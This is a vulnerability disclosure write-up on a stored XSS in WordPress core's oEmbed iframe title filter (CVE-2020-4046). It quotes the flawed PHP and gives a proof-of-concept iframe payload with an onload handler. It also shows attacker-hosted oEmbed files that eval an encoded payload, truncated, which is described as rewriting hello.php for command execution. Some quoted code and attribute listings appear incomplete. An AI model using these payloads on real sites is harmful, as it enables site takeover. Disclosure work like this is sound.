A subtle stored-XSS in WordPress core (CVE-2020-4046)


Sam Thomas

A long-lived XSS vulnerability was patched in WordPress 5.4.2. It allowed any authenticated user, with privileges to create or edit a post, to embed arbitrary JavaScript  within the post. When the post was later viewed the code executed in the context of the site.

Here is a video demonstrating the issue:

Full Technical Details

The embedding functionality will fetch HTML from a user supplied URL and attempt to embed it securely within the target site. This is done by only allowing the embedded HTML to contain a limited set of tags (iframe and blockquote) and strictly limiting the attributes allowed on these elements.

Root Cause

The vulnerability occurs due to a filter function “wp_filter_oembed_iframe_title_attribute”, this was run after other sanitisation has taken place:

function wp_filter_oembed_iframe_title_attribute( $result, $data, $url ) {
	if ( false === $result || ! in_array( $data->type, array( 'rich', 'video' ) ) ) {
		return $result;

	$title = ! empty( $data->title ) ? $data->title : '';

	$pattern        = '`<iframe[^>]*?title=(\\\\\'|\\\\"|[\'"])([^>]*?)\1`i';
	$has_itle_attr = preg_match( $pattern, $result, $matches );

	if ( $has_title_attr && ! empty( $matches[2] ) ) {
		$title = $matches[2];

	 * Filters the title attribute of the given oEmbed HTML iframe.
	 * @since 5.2.0
	 * @param string $title  The title attribute.
	 * @param string $result The oEmbed HTML result.
	 * @param object $data   A data object result from an oEmbed provider.
	 * @param string $url    The URL of the content to be embedded.
	$title = apply_filters( 'oembed_iframe_title_attribute', $title, $result, $data, $url );

	if ( '' === $title ) {
		return $result;

	if ( $has_title_attr ) {
		// Remove the old title, $matches[1]: quote, $matches[2]: title attribute value.
		$result = str_replace( ' title=' . $matches[1] . $matches[2] . $matches[1], '', $result );

	return str_ireplace( '<iframe ', sprintf( '<iframe title="%s" ', esc_attr( $title ) ), $result );

This function looks for the title attribute of the first (usually only) iframe element, then attempts to remove the value in the highlighted line.

This can be abused to cause other attributes to exist on the iframe tag, by supplying html such as:

<blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx'
height=' title=' width="'' onload='alert(123)'"></iframe> 

Here the two IFRAMEs have the following attributes:

‘’ onload=’alert(123)’

When line 33 is executed, every occurrence of the string:

title=' width="'

will be removed. So:

<blockquote><iframe title=' width="'></iframe></blockquote><iframe src='noexist' title='xxx' 
height=' title=' width="'' onload='alert(123)'"></iframe> 

will become

<blockquote><iframe ></iframe></blockquote><iframe src='noexist' title='xxx' 
height=' ' onload='alert(123)'"></iframe> 

Which gives IFRAMEs the following attributes:


The JavaScript added to the onload attribute was executed whenever this post is viewed.


The design of WordPress means XSS bugs are particularly impactful. 

@g0blinResearch wrote an excellent article some years ago (https://g0blin.co.uk/xss-and-WordPress-the-aftermath/) describing the impact of XSS on WordPress. The payloads demonstrated within both still work today with some small modifications, meaning that provided an administrative user views our post we can take complete control of the site.


To exploit the issue an attacker needed to host two files on a web server under their control (the content of these files is shown later). For exploitation to work the victim server must be able to access the attacker’s web server to download the payload.

Robust outbound controls on the server-side would prevent exploitation. However, enabling such security controls would prevent WordPress from embedding any URLs which is a practical necessity and is therefore rarely implemented.

We created a payload based on the article above. This modified the plugin file to edit to “hello.php” which is present and accessible by default on all WordPress instances and made a few other minor alterations.

That payload was encoded using https://eve.gd/2007/05/23/string-fromcharcode-encoder/ to avoid various escaping issues.

In this demonstration we hosted “payload.htm” at


                <LINK type="application/json+oembed" href="http://attackbox1.pentest.co.uk/payload.json">


        "html":"<blockquote><iframe title=' width=\"'></iframe></blockquote><iframe src='noexist' title='xxx' 
         height=' title=' width=\"'' onload='eval(String.fromCharCode(118,97,114,…))'\"></iframe>"

Note: the full encoded payload has been truncated to avoid it being trivially weaponised before vulnerable sites can be updated.

Now we login to the victim site as a user with at least contributor permissions and create a post which embeds our content:

When an administrator subsequently reviews the post:

Our payload is executed, and the file hello.php is modified to allow us to execute arbitrary system commands:


How can we support you?

Contact our team today to find out how we can help support your organization.